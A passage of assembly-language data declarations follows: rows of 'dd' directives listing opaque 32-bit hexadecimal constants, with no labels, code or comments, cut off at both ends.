0A77B6EF9h, 4D0BB8C3h, 7585CDB4h, 5E7B379Ah, 76E0844Fh dd 0CCE54600h, 0B58BB12Eh, 0BACB997Ch, 7F663247h, 0E5156563h dd 0D7B0F031h, 0EF3957A5h, 0AFC405F6h, 39989133h, 15ACF175h dd 49FECDDEh, 921E281Ch, 829E5929h, 60186E47h, 0C28C3C4Dh dd 0A16EA767h, 0EEBEA796h, 0C015381h, 0A19ED8EBh, 13F615D1h dd 0D0F21A1Fh, 0CF7686A5h, 0E26C3E01h, 2BDF8BBCh, 0FE4D5C01h dd 23A4BE2Dh, 0CF5B0AD2h dd 1A7624A4h, 7D06072Ch, 7E2B9E4h, 0D7A47430h, 7ABD3587h dd 6FCC4E15h, 0D125B94Bh, 0B465E57Ah, 0C05BAF6Eh, 40A5CE1Eh dd 0FBBF1920h, 22330945h, 0C89D0841h, 13CA528Ah, 0AACDEA97h dd 0BA8153ADh, 0B2B743E7h, 0E481B8DCh, 0A496D07h, 0B531E99Eh dd 77730BD7h, 0D117A203h, 61B409EBh, 5200655h, 5055B9BAh dd 0B038A85Bh, 0F8BE58B2h, 3800C078h, 0B9835F77h, 4E00A3D6h dd 0E4DE5F9Ah, 1B2072DAh, 915A29F3h, 0D162D3AEh, 8D53F31Ch dd 0C68093A4h, 0EC3EE0B2h, 76A132C8h, 0CE0C467Ch, 8E32C724h dd 7B30115Bh, 0D18083B5h, 2189B374h, 0C085CA29h, 1B543CB6h dd 3EF16210h, 0E15EE6EEh, 22127782h, 7E362354h, 6F5CFF1Ch dd 8F78928Ah, 0B663280Fh, 79366E69h, 0E3C5F8D1h, 7AFB08AEh dd 1AAD2E03h, 601C0C5Bh, 7AE8F09Dh, 4D8A3F16h, 5AF2E527h dd 1ACD3796h, 67D1144Ah, 83E4684Bh, 0D3A4F2ACh, 8E3BB606h dd 753791C2h, 0A82BE09Ah, 9C16869Bh, 7E34E172h, 0E9F6D34Ch dd 0DE07A673h, 0CF0E9E2h, 0F22B3BFh, 194D0B99h, 48763356h dd 72EE66A0h, 9D9AEB57h, 1982BC7Ch, 0C5486D33h, 7128F3E0h dd 0F830DE2Fh, 5A4989CDh, 1433C860h, 8F9E019Bh, 950ADFCCh dd 51135E45h, 1B26E23Ch, 4A9FC1C9h, 49E46083h, 0E0F718C3h dd 0F080A460h, 29773D6Ch, 1531B18h, 0B9F4A749h, 4A10EABBh dd 3AA3498Ah, 192CC49Ch, 3B7C47BBh, 6C2488EDh, 48EA11C1h dd 33A11F26h, 3D0936FFh, 0F976867Ah, 93381B41h, 0EE451671h dd 3D167BF3h, 5280569Ah, 0F5A4524Ch, 0FF68DE34h, 0EAC2FFDAh dd 7F929DEAh, 0FAF35ADEh, 0ADA81B0Ah, 19B996EAh, 2FDE23D1h dd 358896DAh, 0C57BA16Ch, 0B9E22958h, 0A4A88861h, 0A02A8B5Fh dd 0B83A7FB5h, 542829E0h, 3B2EB8C5h, 37FD4E4Bh, 0F2B61EA2h dd 0F8156276h, 0DD30AF7Bh, 2044A564h, 0C4EB7EBFh, 94CE176Bh dd 0E250FB8Ch, 0BA700B6Eh, 0E276EAE9h, 2A9E43FFh, 91273B85h dd 0D42EB52Ah, 2B5FE808h, 0B679F0C1h, 0E566EB15h, 398694F6h dd 0C75AB4C0h, 3B6184F4h, 0E5ACA38Bh, 0EFDE61B3h, 0A8867C7Ch dd 0E877337Ah, 134BAD01h, 0F52FBB97h, 58B66B48h, 0B2CBF101h dd 4A902B8Dh, 0D5D0EFABh, 9FEEE787h, 0CFB9796Dh, 32E6A7D1h dd 0E89367B5h, 0D450BF07h, 6DD5F842h, 4C0B8D4Eh, 10F09FA3h dd 0C1EB3F90h, 0AD97BDB9h, 0F93E05Dh, 0F99CD519h, 0A2692D09h dd 1B5F87D9h, 0E3DD95E4h, 8F729D5Ch, 0D4258561h, 295C2E33h dd 0B924BCCAh, 0B77124Fh, 62E16CE4h, 473CDA8Ch, 55B69511h dd 76CE744Ah, 650D4662h, 0E4963377h, 0C365B1B9h, 9ECDA2DCh dd 5D5B59F1h, 0AA36913Dh, 86B79061h, 0D05CB4ECh, 41411975h dd 0A9431908h, 895F52CAh, 0B51C1B88h, 55FB44D3h, 0FE7BD52Ch dd 0EC4B4634h, 39BE7F0Fh, 4F4D3B69h, 93CA733Eh, 0AC1562D7h dd 0AECE8DDCh, 8C4BF69Ah, 27378C00h, 55E95695h, 0FC12F558h dd 86F07A02h, 7E8DA392h, 4D7431B8h, 286B3F3Ch, 5FFDCFE0h dd 40A889ACh, 0CA01955Ah, 8BAB565Bh, 902C1D74h, 8F4B852h dd 0B6913CEBh, 0F77120Dh, 1E0A643Dh, 20EB8706h, 0E94522F2h dd 0EB1C6CC7h, 4CBEF482h, 14DA0A4Ch, 0C96B7572h, 0D39D7779h dd 70FC25FDh, 1F4C0785h, 0BB0FAF0h, 0F1CF64DFh, 65F55D2Eh dd 2AD559DCh, 0AA5B3FECh, 8E30D620h, 0CB64D994h, 66FFD38Dh dd 0ADFEDD8Ch, 4D28419Eh, 1CD0BB8h, 9DB5C12Fh, 0E2952EF8h dd 91241BCCh, 0E763DE06h, 3D35A2E1h, 0CF8D31C5h, 6A6D02E3h dd 5EC5CFFBh, 0C6336322h, 0E1066963h, 0E370F6E8h, 0E4694A84h dd 0C6ABA65h, 23FDEA64h, 0F272B69Fh, 5248EE45h, 0AC91ECBBh dd 0A340BD17h, 7F5A7C29h, 3F764C37h, 0B0AC7727h, 73065FB5h dd 806C5A44h, 212BD603h, 8DFD6195h, 98B5ADC5h, 7E663CCFh dd 3CF78ECh, 0F3E1A784h, 653FCA9Ch, 1B3ECD18h, 0C2FB9B2Bh dd 0AF6D9DECh, 0F0DDA75Dh, 0E56D852Ah, 7770460Ch, 0ADFED06Bh dd 68958EC8h, 98397F79h, 0F8BDB553h, 1682A699h, 73983D98h dd 64BD7935h, 39AC07Fh, 690CFAE0h, 724BEBBFh, 0C53F1F66h dd 0A2765700h, 25BF808h, 0A82CD518h, 0AA600F73h, 523052E8h dd 0CB10C614h, 7BD0FBD6h, 8314010Fh, 77385F6Dh, 0D902499h dd 0AF18165h, 0F24CF8E5h, 24610B5Dh, 79942C81h, 207DAF8Fh dd 589BB01Fh, 9AF1DFDCh, 851C5833h, 0FC557983h, 0E8FAF14Bh dd 0B44AEF53h, 34C00C8Ch, 50F07826h, 0CD888132h, 0D95AF296h dd 68298E53h, 60270771h, 0E674767Ch, 0CBF7849Ah, 82581E09h dd 1A1577C5h, 4021ADDEh, 9618F860h, 0B3EC1B7Ch, 0AF1331FBh dd 29B45988h, 0E0EDC261h, 0FC706CB2h, 7C89A10Fh, 4D643BC4h dd 3B09D7D2h, 91EE9C4Bh, 203D31FBh, 0E76D0480h, 2B5A97D3h dd 76213CBBh, 5C6F168Eh, 95081126h, 34A2E2F0h, 4EBF1BF4h dd 0FA537AC6h, 0C3BC0B8Bh, 5D1E665Eh, 37011D91h, 0B3BF33C3h dd 4776C033h, 0CFFC3149h, 5B20402Bh, 0B5C7ACFAh, 235D593Ah dd 9C6109ADh, 0C2C8F4B4h, 3C566FBh, 8BE6F852h, 0BB030A7Ah dd 1735605Dh, 33015200h, 9473892h, 0E96ED293h, 91C51133h dd 0DCCEF9ECh, 2B8D8FC4h, 3539A564h, 8A13B58Bh, 0E560B7D4h dd 3E393940h, 0EA52B9F0h, 0E2E61BE7h, 0CD063064h, 0D7BF745h dd 0B64F1D87h, 4B395EB0h, 5A89CE5Dh, 5374D58Dh, 8D2D3ECh dd 0F3252058h, 8BF8C358h, 0A33ACC3Ch, 0E1514260h, 16F29BACh dd 9BD8F55Bh, 75CBE916h, 0F7F12E2Fh, 0D24B4119h, 5AD6E3Ah dd 415E724Fh, 0F00C1567h, 0CE2AC88Ah, 0A59BBC08h, 79C15EAEh dd 45BA0B65h, 3FDE7146h, 106FCDEBh, 22CE5D0Bh, 0C733C899h dd 9494B0C1h, 0A434B852h, 0C91B2D27h, 0C9E83302h, 5ACC5F96h dd 5194DE56h, 912625AAh, 0B559D6B1h, 4DD36Ah, 0DCD17131h dd 0EA0AF720h, 75992845h, 18A885FDh, 0AB0D6495h, 129C1E03h dd 0F244586Dh, 9FC6AF97h, 0BD2D2E36h, 0CE9E48E7h, 0B55502F5h dd 0F9DD1E0Ch, 0B9D1DDABh, 0FB63AA8h, 0F3A0702Dh, 59EB08DAh dd 223F435Bh, 7D759C99h, 23A0127Ch, 13BC820Ah, 7139B3h dd 240BC320h, 23656B77h, 48D85421h, 54B9E656h, 1FFF7E63h dd 7B6A33CAh, 0D3974250h, 0B7100824h, 0CC6F45D6h, 1B532FAh dd 3C2AD976h, 183E28C4h, 4DD19B00h, 61618336h, 994C9C8Ch dd 426B5B0Dh, 0FAF5F352h, 7D49C831h, 941CF0CDh, 67A7FDA0h dd 50BD88C7h, 0D10407B9h, 63CD4B2Eh, 2CAD689Fh, 0A8F15BCEh dd 37614A9Ah, 0C8B295B5h, 79540A42h, 8F3A68ADh, 0E640E116h dd 9E6DA4BFh, 84D35F6Eh, 6B34A60h, 27B0D6EEh, 12AFC312h dd 3AEC5E1Ah, 378B7130h, 2C19CD73h, 0F564CC72h, 12AD040Eh dd 0E02ADA40h, 0D819E211h, 0BE750358h, 4B3577F0h, 8812ACC6h dd 285DAD0Bh, 22005BC4h, 1AA7120Fh, 0DBEE746h, 0F2EDD209h dd 0C20FBCA2h, 0F605850Ch, 0ED6F938Eh, 0F5EF0FE0h, 0BEA9A794h dd 42647122h, 7321FFF0h, 64E2E186h, 0D18A76EEh, 846FB9A6h dd 0CA12E994h, 745D35F3h, 692D4080h, 4DD75778h, 0D22CA885h dd 85C51675h, 1F7E435h, 89AB6D6h, 20730DD7h, 0D3716B0Fh dd 0E81DECDDh, 5A9D66D6h, 0C2F08E4Ch, 0D79A5CC9h, 0A2F0A9C4h dd 0C037F1D9h, 0AC30E50Ah, 27CEF66Fh, 74D84CE6h, 6D6FD19Bh dd 9312317Ch, 8337919Dh, 386ABA8Bh, 8F6FC42Ah, 6C1B8701h dd 8773C886h, 71CD7E80h, 4905BA77h, 0CA3D4D5Dh, 5B8BF943h dd 4354B1FAh, 0D8EBD4B7h, 0E4FFDADFh, 0C5BA5BD9h, 5EF85A71h dd 0FD12413Fh, 346BF52Bh dd 87CBAC30h, 62C408AAh, 8F655C86h, 87270861h, 6A32C4F4h dd 18B4E357h, 7DAFA708h, 72DE0BFCh, 1FC03B9Ah, 0EC176100h dd 948CF44Eh, 1F9A9591h, 0FBE9D212h, 2F8EE914h, 0F1B6F15h dd 70753E3Bh, 951196EFh, 0DA86EDCCh, 55D2B9EAh, 1FF15805h dd 2E6782E4h, 0FC1B11CEh, 0B97CF507h, 0FF87B508h, 0FEEB486Bh dd 0B2FE4290h, 7D2C126Fh, 9B6499DCh, 45BC5245h, 9315BC15h dd 78F9663h, 0A0D63922h, 67CF6FFFh, 143D0C10h, 14ADB4C7h dd 0E9C21135h, 0F88875F2h, 69518C37h, 0AB9C7C9Fh, 0CB0815EEh dd 0CA6C4390h, 0BAAECFA3h, 2CB23127h, 0EA0DDABFh, 0F922ACD6h dd 0B8BC6B3h, 454888DBh, 1EFB81F5h, 0E85C8472h, 19A7F2C4h dd 0AA8D39CAh, 5A31329h, 2D5B6DDEh, 2F092E62h, 0EE10DE94h dd 0CC3CE8A4h, 99DC89DDh, 0D393C6C9h, 9F14E335h, 25E388F0h dd 236FE9B9h, 2B87C464h, 251FA689h, 257E6D28h, 74879E74h dd 1FD5A304h, 0A0F63A19h, 1F814E4Ch, 219A8EC4h, 4F6E9616h dd 552E90B8h, 0B3BC2D7Fh, 8849683Ch, 0C51F7F85h, 293F0C23h dd 44FD56B4h, 57371F4Ch, 0BD0F739Bh, 0B1A2A6CAh, 0E7CCC8DBh dd 22FCAEBCh, 31C9B12Bh, 0CD22B1EDh, 3B22B35Ah, 63077F5Ch dd 0D430596Ah, 5CA8CAC3h, 0C4B291EAh, 0EDA90AEEh, 0C4560EFBh dd 4B28136Ah, 27B56099h, 27544FCAh, 1B329416h, 35081481h dd 0E6F966BFh, 990606EAh, 0E32C4283h, 9DD4EB0h, 0A54667A7h dd 0AEB9FEE7h, 0F11B5F7Dh, 7ADCBD18h, 0E84F2BDBh, 62BF1454h dd 687E9824h, 6EA0C4Ch, 0C653CA97h, 8E11C4B4h, 72D34C49h dd 461EEF04h, 0E1BBEDFDh, 0CFD18DC0h, 3F5B69C3h, 98262A50h dd 23C78177h, 0FA03CA7Dh, 3C8D1113h, 0ACE85569h, 0BAFEA14Eh dd 0B7874120h, 5C4FECC2h, 83D3C8DCh, 70A50F34h, 7C12D3A6h dd 8628CEA1h, 961E885Ah, 54295BB6h, 9A2E529Bh, 0BF2BCBDDh dd 0B5D6B666h, 90F4591Bh, 1DB95B6Fh, 0EF48293Dh, 163765CAh dd 0EE444485h, 21DA7BCFh, 0F9E8F279h, 14CB43B4h, 3DD99CC2h dd 5DB5C1A9h, 96958856h, 6B5D3BAh, 36768934h, 0A415C590h dd 5199D9BAh, 3ED1D111h, 505DF22Bh, 0C155B55Ch, 4226E6Fh dd 6C677971h, 0A25BD17Fh, 5EFF2034h, 0F5F692ACh, 2976C2DFh dd 0A672289Fh, 2D4AB17h, 30136C18h, 6E8B57BBh, 453C96C6h dd 0D63D00BBh, 0F8C581CBh, 72BC947Eh, 0AB2861A2h, 3577C1EEh dd 783F41A2h, 7AAA4521h, 0E9C8F334h, 0EC809F0h, 848DE107h dd 0C3AD5D2Eh, 71EA574Dh, 87C44005h, 7B0FAE6h, 0B621B68Dh dd 81B3C4C6h, 5921F532h, 0A4C650A4h, 4F6C9864h, 3B5B7FFEh dd 998B92D5h, 5301848Ch, 4B5D40B5h, 0F33C1D61h, 0C231D540h dd 0A921FCE7h, 0A21EE8F0h, 1A6EF27Ah, 0BEF89634h, 4261F42Fh dd 0D89D881Dh, 536C90CCh, 9F847h, 0E257DE12h, 76286908h dd 0DCC6A071h, 0ACEB284Ch, 0B38F2648h, 224BEF32h, 0B44B58DDh dd 546EB81Eh, 665105B1h, 0D545B552h, 0A1557E81h, 41FB387Dh dd 75800837h, 0E72F8916h, 40DF53FCh, 4ED8C17Ah, 0E4D1E509h dd 0DAE214AAh, 317FCA18h, 7F0D8FD4h, 674FAD35h, 382ED454h dd 98320B1Ch, 433309A9h, 0CDA333FCh, 56FD21Eh, 5C000F69h dd 0E5FCA593h, 0E87BC1E3h, 4BFE2E82h, 0B308C1EBh, 46BC671Ch dd 13AFEC8Fh, 82ECA49Ch, 7C710B8Dh, 0D323442Ch, 48A0702Ch dd 26CC4E73h, 0F25AF70Ah, 5E5C7316h, 7920A138h, 0A217AC34h dd 6B09DE23h, 32119795h, 0B4E23446h, 0A2F84765h, 0AC5374F0h dd 0E6B4FFA6h, 7FB396CAh, 4125A3BAh, 0BD044901h, 0F8EB1AA1h dd 0F8D040ACh, 0C4892665h, 8558C955h, 0D8858B3h, 92D488CCh dd 0A1387AD1h, 9F58F034h, 5AE93AE6h, 4DF01FE8h, 91BCB022h dd 76B5AD39h, 0BC9D9051h, 6778CAA0h, 2772F4A2h, 0A260CBA2h dd 4855BDC1h, 3CF9726Bh, 6D9CEF5h, 5DD68214h, 0AFA7ACE5h dd 568207A6h, 49AC6475h, 0BB707133h, 0DBEC3DF8h, 0A2614324h dd 0C917320Ah, 0DAA6B2C0h, 911CC7E9h, 2A7970FFh, 2569FCA9h dd 0C20D90Fh, 0B0B0BFA4h, 310C74E7h, 7DBF566Fh, 21170D44h dd 85B6C217h, 3012676Eh, 0F9747EA3h, 0B65AAED4h, 4567C464h dd 0EA117158h, 71535AF3h, 0A5BA5B55h, 5404EE25h, 0D19D7F29h dd 44A9118Ch, 0C283E210h, 0F856C608h, 0EA2A441Ah, 1983D9C5h dd 0D2423D27h, 3B5A19A2h, 8982A690h, 0A606A2DAh, 150B151Dh dd 2D568368h, 700D8E5h, 0BE6C118Ch, 8C752991h, 6714C644h dd 9357E95Dh, 1CF4FEA8h, 94916D67h, 3998A2E7h, 5784235h dd 0B52A4747h, 0B69A14F0h, 8B620CF9h, 69912924h, 0B50E492Eh dd 9365B428h, 0B79BA06Ch, 0BB45EB6Ch, 0ACFB94EEh, 475C8650h dd 27A59DA3h, 8072BD7h, 0A24580E0h, 1A8BC3CFh, 0C9AF69EAh dd 0B1D90819h, 45B562D1h, 0B9A218ADh, 0A343BC4Ah, 0D0D809AFh dd 0B5035C5Ch, 29965277h, 3364560Ch, 84E47FC9h, 104204C6h dd 0A41D4261h, 0F8763482h, 0E606042Ch, 1AFA0512h, 26ABA443h dd 145EA9F9h, 0DFB58E00h, 66E79D0Ah, 56B3F69h, 93A55EDCh dd 85945C76h, 0A806481Fh, 9446E41h, 6FB3315Dh, 283FDED4h dd 0D68DB830h, 0F7C88F48h, 6B2AF899h, 0BB4BC2FBh, 35F04C9h dd 2029C2FCh, 925C2582h, 90E9B1F6h, 8FAB9F7h, 0A44549CBh dd 39DFCB2Ah, 283757C8h, 550DA077h, 85825D63h, 97FF7E9Dh dd 0AF56FE43h, 43456435h, 8F98789Eh, 0D96C7B6Dh, 2C92C1DBh dd 3D8D213Ah, 0E163FD27h, 0E9F551CBh, 332D56E6h, 23016B2h dd 35A036CAh, 78C180FEh, 0A7A4AAEAh, 68C0058Fh, 0F8F7CD93h dd 38F4ECA9h, 0F2967397h, 42B760BCh, 2388F852h, 5DFE00CDh dd 0FA8CDEC6h, 0D6230662h, 0B69CFB49h, 22AEE810h, 0EA4BDEC4h dd 0ECA42010h, 2A24ECD7h, 1E648DE9h, 427F8054h, 7C0F20A0h dd 0B6210104h, 0A9FA3F44h, 0C30EB16Bh, 0FD2CD255h, 0EC0CB141h dd 370F4D46h, 0E0D0BC90h, 0CECD14D6h, 5CF7A625h, 0E4EA0AE6h dd 31960B88h, 0B6E0E696h, 0EE8FEFDEh, 0A7501C43h, 0BA746EADh dd 0C8985353h, 5708C605h, 0C2396447h, 47B025B3h, 0AF128E19h dd 0E51604FAh, 0AAC23A7Bh, 0FBF3C253h, 0B8C620B1h, 22C37F45h dd 5745927Bh, 0C13FF60Ah, 442CAA00h, 70C1DFCFh, 5243A658h dd 6759D951h, 0AC734A95h, 9E569415h, 0B3268920h, 80BC75CEh dd 0C563AA1Fh, 839DCC5h, 4906F6F4h, 13493515h, 7AB8E623h dd 4E2B293h, 526173F2h, 0D9948BDFh, 67E2AABDh, 0A79DFEEBh dd 5FA1381Fh, 0EF999B1h, 0F6C661FEh, 0D2EFC706h, 1D27912h dd 0DA545D38h, 825D2DA9h, 59B6A0E4h, 93488CB9h, 0BBD6D5BAh dd 6DF4D23Ch, 0B0031AA8h, 0F9C0CCCBh, 0D5356048h, 8A7487CCh dd 0C6BF8B2h, 0E22AF648h, 233592DDh, 85EE8AC6h, 344ACBD0h dd 0C6A60120h, 7243AB85h, 0A9E5222h, 999DD80Bh, 614F3299h dd 41F09CA3h, 143F6019h, 0F3EAAF77h, 5A90C1Ah, 0E172031Fh dd 0C9BF5613h, 0DCFCC784h, 0A2E7A690h, 0FE8C9C01h, 0D7DB75C0h dd 55BF7D4Ah, 0CAC9D092h, 0A61BFB15h, 0A436436h, 98F113F9h dd 5A18139Ah, 51836E7Ah, 1A10F0D2h, 40CC052Ah, 0F3B9E50Fh dd 0AECFD3E2h, 3571A123h, 36C2DD81h, 0FEFC9A44h, 750E7B60h dd 0B3F4543Bh, 0E6C3CBF6h, 2D70D4Ah, 6EFD2FFBh, 0A46420AFh dd 0A64BF1F1h, 38DD409Fh, 0B17EEDF5h, 0F105B8C0h, 88CCE593h dd 510B23BDh, 0DF1E882Ah, 2C74DE56h, 2A779B4Ah, 62C72E7Ah dd 73CC100h, 0F5328B64h, 6CCE858Ch, 72A74C70h, 47EB9FDEh dd 0C4D31217h, 0C01AA07Ah dd 70F8E056h, 95A3313Dh, 352D8E5Fh, 6760A262h, 0AC4B89D4h dd 0B634F27Eh, 70FD52F4h, 0A57B3D85h, 52776408h, 4517224Bh dd 4EF80662h, 0D102AC24h, 4BC617C9h, 8C42DEAAh, 0D9BBB301h dd 0A7326F1Dh, 0A065232Bh, 7AC410A9h, 876203F8h, 42F86E2Fh dd 0B5DC94EBh, 37FDE1FEh, 46A84F0Ch, 0D69C8306h, 0FC3F707Bh dd 0C188E663h, 6347848Bh, 65313AB5h, 1A393CA1h, 2ED411F1h dd 8AD82208h, 0F8BB631Fh, 32C62BDEh, 0C17FEAC8h, 4C10D1CEh dd 7C16EEF8h, 71A57358h, 0B1B5D5AAh, 0FE22B7Fh, 0CB28CA1Eh dd 2A5C192Ah, 0BB1E5792h, 0AC4C0CEAh, 0D0CFAA51h, 3E48D1F5h dd 4DC5FF11h, 0FA6CC00Fh, 2F721361h, 17C1A9A0h, 0B8F6AA0Eh dd 8600B18Dh, 102467D7h, 0F63E8A5Bh, 0B013477Fh, 0A1BAD6E8h dd 886F6B81h, 21CFBBCFh, 0D52FD428h, 2EBAC7D0h, 789898Ch dd 0A6E8DB55h, 72DB1249h, 68EEA62Ch, 239AAC52h, 0E2A57056h dd 0B4ECA62Eh, 39746136h, 0B37C0CDBh, 667AE000h, 36A83AE3h dd 2A37BD0Ch, 87359C61h, 51DD8145h, 0BCBD923Fh, 0DC439741h dd 0D33DE5C6h, 9E42E102h, 850F04FAh, 7A2E598Bh, 0C6211A4Bh dd 1B17DA2h, 0FBF61B3Ah, 0E526D0C4h, 0CCC77EF1h, 1F3919C5h dd 8EEB2614h, 0DE0CC262h, 4CB7CB3Dh, 7FB5791h, 7D690A0Ah dd 7BBA2E69h, 7AD5AC7Eh, 371734BDh, 2E214C27h, 0D8AE4060h dd 185F87E5h, 50915348h, 0BA740F50h, 28087432h, 2256A41Ah dd 0DF00264Ah, 0E5337A8h, 6280FA01h, 93756943h, 0D3448216h dd 0EA5463F3h, 857D8B12h, 0D0B41B9Ah, 94078777h, 130816F8h dd 9069101Fh, 6F178732h, 0CFEEB7F6h, 670E2E5Ah, 999D13F7h dd 0D9B6FF20h, 1E2B23E0h, 0D223C0DCh, 0CECC4C48h, 0A17F27Ah dd 0D73142Dh, 0CEAFF150h, 0EE233052h, 0F2B0C69Ch, 0D70327E3h dd 0E462C425h, 0C7EB7B13h, 0FCA937F5h, 0C4BE6285h, 0F6F5A27Bh dd 956656AFh, 8D7954B7h, 993FF6BDh, 0AC65DDA6h, 5C7AD592h dd 0CCFDFD03h, 883BCB06h, 2AE35EDEh, 46E8EF8Fh, 29ABB1A0h dd 0B76DBA78h, 29D9C862h, 36A33C45h, 559B1165h, 4F56482Bh dd 0BEC66E7Fh, 897EB2A4h, 795F2DA5h, 0DF80E557h, 46E6EF3Ch dd 7F41952h, 4F2BC847h, 78C7AF3Fh, 0F3704EA9h, 523A3BF1h dd 5942EBB8h, 4F8BCD01h, 0CA930A60h, 0A29158BCh, 0EA362C5Fh dd 5536141h, 0D7976EFCh, 0A11B4E10h, 58C52313h, 0A2A3BBD7h dd 5F202194h, 0A5269B1Fh, 413F8768h, 0CCEB2C7Bh, 34868E51h dd 0A68F49B3h, 901E03F1h, 0AD55507Dh, 0C28901CBh, 9E411C14h dd 3B340083h, 0EC92E046h, 0E598E400h, 0A6D0B351h, 0E4B50F8Fh dd 0BFA1D526h, 3D27E647h, 0B318F439h, 0A1B73FF5h, 814B4455h dd 89B5EDC6h, 597B5D1Eh, 0F2111605h, 8A66F9AAh, 0FDD26717h dd 5BB447Eh, 36CB6272h, 10F8E844h, 48FB0CE9h, 6B15A9D9h dd 4607DB84h, 0E848D62Dh, 1E2A2922h, 0C7771BE2h, 0D43E59CCh dd 8553D3ABh, 0DAE30CB9h, 4AC71ADh, 15D75714h, 0B5BC2DBh dd 9A7DFA94h, 0B0E837Ah, 0D9B0F752h, 5665A089h, 440DE9DDh dd 0BE2AE942h, 0A393C56Ah, 5684A4FAh, 0F9BFF537h, 0C52A627Fh dd 6483B9C0h, 0AF025607h, 0F6553274h, 2470F8C5h, 71844689h dd 0C9C3F8Bh, 0D81AC500h, 0F1BA63A4h, 0DF91D0DAh, 0B3CB1E84h dd 0F54376Dh, 553CCE96h, 5707AE2Ch, 289EE0CDh, 539936B9h dd 0E0B5B31Ch, 36B8DD1Ah, 13A04BD6h, 4C2BB4FFh, 33C3A164h dd 0C7C61FBBh, 0E8BD0510h, 68AEA5ACh, 70FC021Ah, 457783Ch dd 65897BC3h, 2232F41Fh, 8993A8A4h, 0DD2BADE3h, 0D27DE750h dd 93E2CEE2h, 7544A694h, 12C2C74Dh, 0B9423D37h, 0F5A29A18h dd 4CDC7319h, 3E95A1A3h, 0F2645E5h, 0DD050F5Dh, 143E87D2h dd 9A2BB12Bh, 0E304EC75h, 3210216Ah, 59338C70h, 0A04FEDCDh dd 1F877FB1h, 632E44h, 0A3AB6347h, 6A043B61h, 2DC04D78h dd 0C24A55B6h, 5A7E963Dh, 0D08B98Eh, 0CE53675h, 95253BE8h dd 0B1C14E09h, 0F207C786h, 0F564794Eh, 9F1A09FDh, 0EF8CDD72h dd 615C4EE8h, 0A8C64534h, 0C4D566D6h, 38FD596h, 3C554B33h dd 380E4C23h, 84B5BFCFh, 0EA2C1401h, 0C651685Dh, 0F85C2D48h dd 29ACAEBEh, 40F4770Bh, 0A69F8ECEh, 0CEA157C4h, 1A48F9F3h dd 0DE81708Ch, 0DB61C4DFh, 2473629Ah, 0D9B503C9h, 0CAD1F454h dd 0AFEEC4EBh, 0AE977168h, 0E81C7752h, 18DC5E2Ch, 0B7333D0Bh dd 2D4F3C3h, 63FAAB07h, 0BF69AB08h, 7B7572ACh, 0E5ACF8D5h dd 67CBFD1Ch, 88ACDE08h, 73E88676h, 3D4B7C0Eh, 7B402129h dd 7100A2C5h, 0B4079084h, 5451DEBEh, 96673125h, 9676F55Fh dd 7A1261DEh, 0E06E2D3Ch, 0A73562E1h, 3F3586A3h, 0E14E6A5Fh dd 6A8CD575h, 3773CA5Ch, 0AF9F53CCh, 0F9B05A52h, 242FFE20h dd 6729FCA6h, 583DF6E4h, 508DB947h, 0F8A2B769h, 8E5E6EFDh dd 73EFA08Dh, 0A2ADCB88h, 70D64AA0h, 9E07651Eh, 5692062Ah dd 6BAD4C18h, 7BCA6E40h, 20D750BCh, 26005C40h, 7D0883BEh dd 790AEB7Bh, 8D658DE1h, 0DA1226B8h, 0B27035B6h, 0D1FAFF87h dd 0FDB0D72Dh, 2869CA20h, 444B8742h, 0E6E3E7DEh, 7534174Dh dd 0FEC28FAAh, 80266997h, 2DE8319h, 0E5AF9C22h, 300B55D3h dd 85992056h, 1DC2973Bh, 394F0433h, 0CC3452D8h, 40D9D3Ah dd 0FC97BC59h, 9AE5677Bh, 3A8E41ACh, 0C97DEDE9h, 9DBBC05Fh dd 703475EEh, 0CB8104DAh, 0BF5E603Fh, 0ECFA15AAh, 0B02638C3h dd 4F1F90A4h, 31FDAF34h, 13FD7DFDh, 0EFD3531h, 7A8417D4h dd 3C36C8EAh, 0F9276A07h, 59F008F6h, 2A394ED1h, 99F68F7h dd 0A623BAh, 62263813h, 0E67872B1h, 0E1958A95h, 7F656A5Ch dd 0DB511FF0h, 0A863EEFDh, 0F784A48Eh, 0E6306DE7h, 2D94354Ah dd 1B2B29F7h, 815F54CDh, 0FB161563h, 66174B7Ah, 15A66CD9h dd 77E1EC97h, 6E3047E4h, 2276A9C6h, 2C403ACCh, 0C027383Dh dd 0B548DC98h, 9E089164h, 3B2C061Dh, 0F8EFD4C8h, 0CA329EDAh dd 5CA26DB4h, 0A8542C5Eh, 0BE13DD14h, 248EAC89h, 0D5ACC453h dd 2AF8D4C4h, 0EE2FA420h, 4B40256Ah, 0DA131CD6h, 93BBA45Ah dd 1017B8FAh, 0C6A46933h, 8442C85Ah, 9757C5B6h, 0FC6E5D0Ah dd 93AB774Ah, 0A6AB7C08h, 6550037Fh, 70E670D0h, 6DFA429h dd 9A2E519Bh, 0E91088FBh, 0F7F38E41h, 0EC55133Ch, 0F64798E5h dd 50EE0FE0h, 31C9D81Eh, 0FE05F565h, 3DB04E1Ah, 2533AB48h dd 8B0DCEC8h, 904427ACh, 0E724B0EDh, 0F6E837Fh, 0B4193669h dd 8C994D34h, 3EBB07A7h, 88052C82h, 299003Eh, 25B8473Eh dd 0C859C44Fh, 532B4BFBh, 9666489Fh, 349F43A7h, 2826F729h dd 0A47CE788h, 3A690A1Ch, 1D00BED4h, 0DA100EBEh, 154138D9h dd 0BEFCC3DAh, 5D9475E2h, 209C0B29h, 689D5975h, 68E2369Bh dd 6DD8CD68h, 0F1EB272Fh, 77796F88h, 3BAE82F1h, 62BA618Eh dd 345C5402h, 167D34FEh, 32A65784h, 0FBE4C105h, 0B34666A3h dd 7F220480h, 32B480F4h, 0C9450EA1h, 0AF8F107Ah, 0BAE1755Ah dd 0D785310Eh, 0C3AA96Ch, 0A94028ACh, 0E71DC3E5h, 0A8DC39FDh dd 8D4CA92Bh, 0CBDF6358h, 99F1F06Fh, 77B149DFh, 895C36h dd 0E1021B4Dh, 2AEAC4BAh, 315AA7BCh, 12C1F1A3h, 0D2A0BCF8h dd 0C0C206DEh, 8ECBD74Fh, 91CECA82h, 0E7CF767Ah, 0B322367h dd 6B693A27h, 0B975790Ah, 2A82B467h, 0D2D3953Ch, 758E8094h dd 6043A6EAh, 0D77DAE52h, 53041EA9h, 87EB7C9Ch, 1323E1CBh dd 0BD85FF69h, 0CB95FA31h, 44E20C86h, 2ACFCAA4h, 1380BD10h dd 0BEA1842Bh, 0A69F896Bh dd 0CE544A93h, 2E483F3Ch, 0DEAD54FAh, 8AB9AEE5h, 44BEB3C3h dd 0FDB4006h, 0FA28E89Fh, 2955CA61h, 86BF7221h, 0B61BBE87h dd 23C7DBBDh, 0DC5368ECh, 